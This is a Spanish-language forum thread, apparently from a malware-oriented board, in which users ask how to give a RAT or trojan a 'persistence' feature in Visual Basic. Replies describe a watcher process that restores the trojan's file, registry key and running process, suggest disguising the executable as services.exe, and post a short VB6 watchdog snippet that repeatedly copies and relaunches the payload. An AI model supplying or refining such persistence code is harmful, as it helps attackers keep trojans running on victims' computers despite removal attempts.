Indetectables

Hola a todos antes que nada les agradezco a todos los que postean tutoriales y se esfuerzan en enseñar a otros ( no es esta mi suerte ya que aun me falta aprender, espero que en un futuro pueda también ser yo uno mas a enseñar a todos los que con ansia desean aprender)

Bueno pues este Post esta dirigido a la Opción de Persistencia que utilizan muchos Rats, actualmente estoy aprendiendo a poner varias Funciones para mis proyectos y este es uno de
los que Atraparon mi curiosidad por lo que potencialmente podría resultar si se pone una buena Persistencia en una aplicación.

¿ Podrían Postear Un tutoría de como se pone esta Función de Persistencia En Visual Basic ?

Les estaría muy agradecido

La idea de la opción persistencia es la siguiente, un proceso paralelo al troyano que compruebe en todo momento si existe el ejecutable la clave en el registro y el proceso del mismo, en caso contrario, copiaria de nuevo al troyano, escribiria la clave y lo ejecutaria. Con Visual Basic, si sabes usar el registro y un poco de listar procesos, no es algo muy dificil de conseguir, ANIMO!

Saludos

raulrl escribió:La idea de la opción persistencia es la siguiente, un proceso paralelo al troyano que compruebe en todo momento si existe el ejecutable la clave en el registro y el proceso del mismo, en caso contrario, copiaria de nuevo al troyano, escribiria la clave y lo ejecutaria. Con Visual Basic, si sabes usar el registro y un poco de listar procesos, no es algo muy dificil de conseguir, ANIMO!

Saludos

Una duda ya que ví esto, yo es que lo de que comprobara el proceso no lo había echo =S , que compruebe el proceso , ok , pero lo comprueba otro exe, que está como recurso del server ? , y en caso copia a su vez, el recurso que tiene ( su server ) para que se ejecute tal... ?

bueno sigire buscando por ese campo queme digiste raulrl gracias.
Si sabes de algun texto de vb que esplique lo que comentaste te agradeceria lo postearas para uso de todos

proba llamando a tu archivo services.exe llamandolo se ejecutaria continuamente no pararia , ponete a leer algo del queryunload y lee sobre los unloadmodes bytes !

Ok gracias ps1c0s1s me voy a poner a leer

crea un vigilante , no es necesario verificar los procesos, por ejemplo
codigo del vigilante:
on error goto abierto
filecopy app.path & "\" & app.exename & ".exe", rutadelarchivoaagregarpersistencia
shell rutadelarchivoaagregarpersistencia
exit sub
abierto:
exit sub

esto debe de ponerse asi mas o menos, en un timer, la cuestion es estarlo copiando si se copia entonces el archivo no estaba siendo utilizado y se ejecuta, si aparece un error entonces el archivo ya esta en ejecucion y no lo ejecutamos, salu2

Hola mando código fuente en VB6 para saber si un archivo se esta ejecutando.
Gracias, y ya posteen sus comentarios, solo se bajan los ejemplos y no agradecen nada.
Esta en *.rar (winrar)

Gracias me servira de mucho